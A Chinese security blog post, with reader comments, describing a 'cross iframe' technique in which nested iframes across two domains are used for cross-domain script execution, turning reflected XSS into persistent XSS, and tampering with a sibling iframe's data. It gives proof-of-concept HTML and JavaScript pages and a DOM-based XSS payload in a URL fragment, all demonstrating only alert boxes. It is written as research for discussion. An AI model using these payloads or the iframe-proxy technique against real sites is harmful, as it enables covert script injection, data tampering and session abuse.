Cross Iframe Trick:the Old New Thing

Author: [email protected]

昨天好像不小心标题党了一下,今天整理好paper发出来,希望不会被口水淹没。

我思考了很久才把这里面的错综复杂的关系整清楚,我想很多人看我下面的paper会睡着,或者干脆“一目百行”的跳过去,但如果你真的想弄懂,请调试我的 每一个poc,会非常有助于理解(虽然你还是可能会晕)。请尊重俺的劳动成果,码这么多字不容易。欢迎技术讨论,但谢绝没仔细看就来指手画脚的。@[email protected]

首先,为了帮助大家更好的理解,我先讲讲这种攻击能够达成什么效果:
1. 跨域执行脚本(IE、Firefox)
2. 把非持久性XSS变成持久性XSS
3. 跨页面执行脚本
4. 浏览器将很难修补这一“特性”造成的威胁
5. 当然还是有一些条件限制的,本篇只是在理论上描述了这种攻击。

那么,什么是cross iframe,简单来说就是把iframe做一个迭代,以实现一些iframe之间的交叉数据访问。在正常的web应用中,许多地方都有用到这种技术,比如facebook,比如yahoo。

但是由cross iframe引申出来一些安全隐患,则是我这里要探讨的重点。

以下是我的测试环境:
Windows XP SP2
IE 6 SP2 (我只有IE6,没有IE7,请自行测试IE7)
Firefox 2.0.0.16

测试域名:
www.A.com (/1.html , /4.html)
www.B.com (/2.html , /3.html)

这次测试主要使用了4个html页面,请牢记1.html和4.html是在域A下; 2.html和3.html是在域B下

首先来看看什么是Cross Iframe, 他们又能干些什么。

Rule1: 同一个页面下的两个iframe,如果这两个iframe指向同一个域,那么他们可以互相访问,并操作对方页面的脚本。

在 www.A.com 上,存在一个 1.html ,包含了两个iframe,这两个iframe分别引用了www.B.com 上的两个页面。其代码如下:
1.html:
<iframe id=”tt2_2” src=”http://www.B.com/2.html” width=”300″ height=”300″ ></iframe>

<iframe id=”tt2_3” src=”http://www.B.com/3.html” width=”300″ height=”300″ ></iframe>

现在我们的目的就是利用 iframe:tt2_2 去调用 iframe:tt2_3里的javascript的函数。

3.html的代码如下:
3.html
<html>
<body>

<script>
function alertpoc(){
alert(“alert POC”);
}
</script>

</body>
</html>

2.html的代码如下:
2.html
<body>

<script>
window.onload = function() {
parent.frames[“tt2_3”].alertpoc();
}
</script>

</body>

那么,当访问 http://www.A.com/1.html 时,iframe:tt2_2中的脚本在www.B.com执行了,它通过读父窗口的iframe:tt2_3,尝试在其中执行脚本函数 alertpoc()。由于tt2_2与tt2_3同在www.B.com 域中,所以他们之间不存在跨域问题,脚本被允许执行。

Rule2:域B能够以 iframe proxy 的方式,操作域A上的脚本,或者传递信息,实现跨域操作。

什么叫iframe proxy呢?其实就是做了一次iframe的迭代。

如下:
http://www.A.com/1.html 中包含一个iframe,指向 http://www.B.com/3.html

http://www.B.com/3.html 中又包含一个iframe,指向 http://www.A.com/4.html

那么这个3.html就是一个iframe proxy,通过 3.html 就能从B域 向 A域的 4.html传递消息,如果4.html还有一些处理的话,就可以执行脚本。

实例如下:
1.html的代码:
1.html
<script>
// 1.html上的弹窗函数
function tt1(fvck){
alert(fvck);
}

</script>

<iframe id=”tt2_2″ src=”http://www.B.com/2.html” width=”300″ height=”300″ ></iframe>

<iframe id=”tt2_3” src=”http://www.B.com/3.html” width=”300″ height=”300″ ></iframe>

同在 www.A.com 域下的 4.html代码:
4.html:
<html>
<body>
<script>
//parent.parent.tt1(“fvck tt1”); 也可以
top.tt1(“fvck tt1”); // 调用 1.html 里的 tt1() 函数

</script>

</body>
</html>

在 www.B.com 域下的3.html 作用是iframe proxy,其代码为:
3.html:
<html>
<body>

<script>
var tt1_4 = document.createElement(“iframe”);
tt1_4.src = “http://www.A.com/4.html”;
document.body.appendChild(tt1_4);
</script>

</body>
</html>

访问 http://www.A.com/1.html 后,将通过 http://www.B.com/3.html ,利用 http://www.A.com/4.html 执行 http://www.A.com/1.html 的脚本

如下:

正确执行了脚本。

跨域的问题已经POC过了,那么存在什么样的风险呢?

先讲跨域的问题。

首先,由于4.html在这里关联性最小,所以我们假设4.html是我们在域A下上传的某个文件,或者是存在XSS漏洞的某个页面。

那么对于域A下的页面 1.html,它包含了 域B的3.html,当域B下的3.html被恶意用户控制时,恶意用户就可以通过4.html,直接攻击到 1.html

所以我们有了第一个攻击方法:
Attack Vector 1:控制iframe proxy后可以跨域攻击父页面

由于域B和域A不是同一个域,所以域A的安全级别和一些防范措施很可能无法涉及到域B,这种信任上的危机将带来一定的风险。

请注意和普通挂马或者是XSS攻击不同的是,域A上的这个页面是我们无法控制或篡改的,但他正好包含了一个指向域B上页面的iframe,所以我们才可以通过域B上的那个页面跨域攻击它。

比如,www.baidu.com/av.html 可能包含了某个广告网站的一些页面,他使用的是iframe的方式: <iframe src=”http://www.advertise.com/evil.html” >

那么这个时候,攻击者如果能够控制evil.html,就可以在evil.html 中包含一个指向 http://www.baidu.com/evilupload.html 的iframe;

当正常用户浏览 http://www.baidu.com/av.html 时候,就会受到来自 evilupload.html 的XSS攻击, 而攻击的来源是 http://www.advertise.com/evil.html 发起的。

这种跨域的攻击将会极其隐蔽,因为真正的恶意脚本是写在evilupload.html 里的,所以即便查看了 av.html 和 evil.html 的代码也无法看到任何恶意脚本,只能看到两个iframe。

对于IE 6, 甚至可以把 4.html 改名为 4.JPG 或者 4.RAR, 在iframe proxy中引用后,都将执行脚本。(想到GIFAR没?)

而Firefox 2 则必须保持为 html 文件才能保证脚本的执行。

控制evil.html的方法有很多种,最常见的包括直接攻击域B服务器、篡改客户端网络中的数据、或者是在evil.html 中放置一个 持久性的XSS,都将导致 evil.html 被控制

通过控制 evil.html,调整不同的iframe src地址,我们可以得到第二种攻击方法。
Attack Vector 2:在iframe proxy中直接引用一个非持久性XSS(反射XSS),可以让该XSS在父窗口中持久存在。

很多人非常鄙视非持久性XSS(反射型XSS),认为这种XSS只能依靠欺骗的手段去骗人点击,才能让攻击正常实施起来。

其实让非持久性XSS变得持久的方法,已经出现过好多次了。比如利用applet、利用flash的AS脚本、利用IE的Ghost 页面。

那么今天这种方法又要多一个了:利用 Cross Iframe Trick

实例如下:
设想http://www.A.com/4.html 存在一个XSS漏洞,其代码如下:
4.html
<html>
<body>
<script>
//parent.parent.tt1(“fvck tt1”);
//top.tt1(“fvck tt1”);

document.write(“<input id=\”aaa\” value=\’test”+window.location.href+”\’ >”);
</script>

</body>
</html>

这里存在一个基于DOM的XSS漏洞,当在浏览器地址栏里输入:
http://www.A.com/4.html#‘><script\>alert(/XSS/);</script><‘
时,alert()将被执行。

此时,利用 Cross Iframe技术,在 3.html 中直接构造iframe地址为XSS的地址。
3.html
<html>
<body>

<script>
//function alertpoc(){ alert(“alert POC”); }

var tt1_4 = document.createElement(“iframe”);
tt1_4.src = “http://www.A.com/4.html#\’\>\<script\>alert(\”Domain=\”+document.domain)\;\</script\>\<\’“;
document.body.appendChild(tt1_4);
</script>

</body>
</html>

访问 http://www.A.com/1.html 后,4.html里的XSS漏洞将被利用,并弹出可爱的小框框

如果说,前面讲的两种方法是利用的Rule 2,那么Rule 1能否利用起来呢?思考后,发现Rule 1虽然没有跨域风险高,但还是会带来一些问题的。
Attack Vector 3:如果域A下的某个页面z中,包含了指向域B的两个iframe,分别是x和y;那么x能够通过z,对y的某些对象进行一定的修改,从而篡改数据,或者是篡改函数的参数,执行脚本。此时z起着iframe proxy的作用。

这段话可能有点拗口,其实就是父窗口在这里起了iframe proxy的作用。根据rule 1,我们有以下实例:
2.html
<script>
window.onload = function() {
parent.frames[“tt2_3”].document.getElementById(“3″).value=”222”;
parent.frames[“tt2_3”].alertpoc1();

}
</script>

2.html将调用 3.html 中的 alertpoc1()函数,并修改 input框的值为222

3.html
<html>
<body>
<script>
//function alertpoc(){ alert(“alert POC”); }
function alertpoc1(){ alert(window.location.href); }
</script>

<input id=”3″ value=”333″ >
</body>
</html>

此时,访问http://www.A.com/1.html 后,发现input的值被成功修改,同事alertpoc1弹出显示的是3.html的地址。

这种攻击实际上还是攻击的 http://www.A.com 下的 1.html 这个页面注意这个是和普通XSS攻击的本质区别,攻击的目标页面不同,因为iframe: 3.html 是显示在 1.html 里的。在实际中用到这种情况的可能是某个页面里要显示一个报表,那么这个报表可以采用iframe的方式嵌入在页面中。

实施这种攻击,可以随意篡改报表里的数据。攻击来源却是在另外一个iframe里实现的,和当前的1.html 没有直接关系。

如果结合JSON Hijacking,直接在2.html中调用 3.html 里的一些回调函数,窃取敏感数据,也可能会起到一些意想不到的作用。因为在这里,我们再次把JSON CallBack函数持久化了,而且json返回的数据将显示在1.html里,更具有欺骗性。

所以这第三种攻击方法在篡改数据方面带来了更高的风险。

以上可以看出,Cross Iframe Trick最大的优势就是隐蔽性
攻击就像来自天外一样,几乎无迹可寻。

局限性:
1、首先iframe是限制发送cookie的,本地存储的stored cookie将不被发送,只能发送一个session cookie。浏览器的这个安全特性将使得我们使用XSRF的可能性更低。
但也不是没有办法,比如在 4.html 里使用一个 window.open() 就能够发送出stored cookie了,当然可能还有更好的方法。
不过虽然限制了cookie,导致XSRF会有些困难,但是能够执行目标域下的脚本,还是非常有价值的一件事情,已经可以完成许多攻击了。

2、其次,要在A域寻找到这样一个用iframe包含B域的页面,并且去控制iframe中的B域页面,才是最为不容易的事情。这个条件是比较苛刻的。如果有朋友能找到现实网站中的案例,请给我一个反馈。

最后,正如最开始所说,要修补这种漏洞非常困难,因为这完全是浏览器的正常功能。如果要限制iframe的话,微软自己在IE里实现了iframe的一个security属性,可以限制框架页面里脚本的执行。也许还有其他的方法可以来对抗,但是,就不是我们今天要讨论的话题了。

我虽然只是在理论上提出了Cross Iframe Trick这种威胁,但是我认为这几乎可以算成是一种漏洞类型。它是许多脚本攻击技术的结合应用技巧,而程序员又往往会忽略这些地方。所以这种威胁是真实存在的,而且是可以长期挖掘和利用的一种“漏洞类型

相关日志

楼被抢了 4 层了... 抢座Rss 2.0或者 Trackback

  • 老臧

    怎么也没有个说话的地方……

    交换个链接

    http://lovelaozang.cn

  • chedan

    扯淡去吧,一点干坏事的用都没有

  • t-h4ck

    当正常用户浏览 http://www.baidu.com/av.html 时候,就会受到来自 evilupload.html 的XSS攻击, 而攻击的来源是 http://www.advertise.com/evil.html 发起的。

    这种跨域的攻击将会极其隐蔽,因为真正的恶意脚本是写在evilupload.html 里的,所以即便查看了 av.html 和 evil.html 的代码也无法看到任何恶意脚本,只能看到两个iframe。

    ———————————————–
    虽然是跨域 但是我们必须有权限去修改 BAIDU.COM 上的evilupload.html 文件吧····这样才能跨域执行脚本····如果没有权限修改 那么evilupload.html 在BAIDU上的恶意文件哪来?解释一下

  • t-h4ck

    也许我很菜 这个除了隐蔽很好外利用很鸡肋的·····

发表评论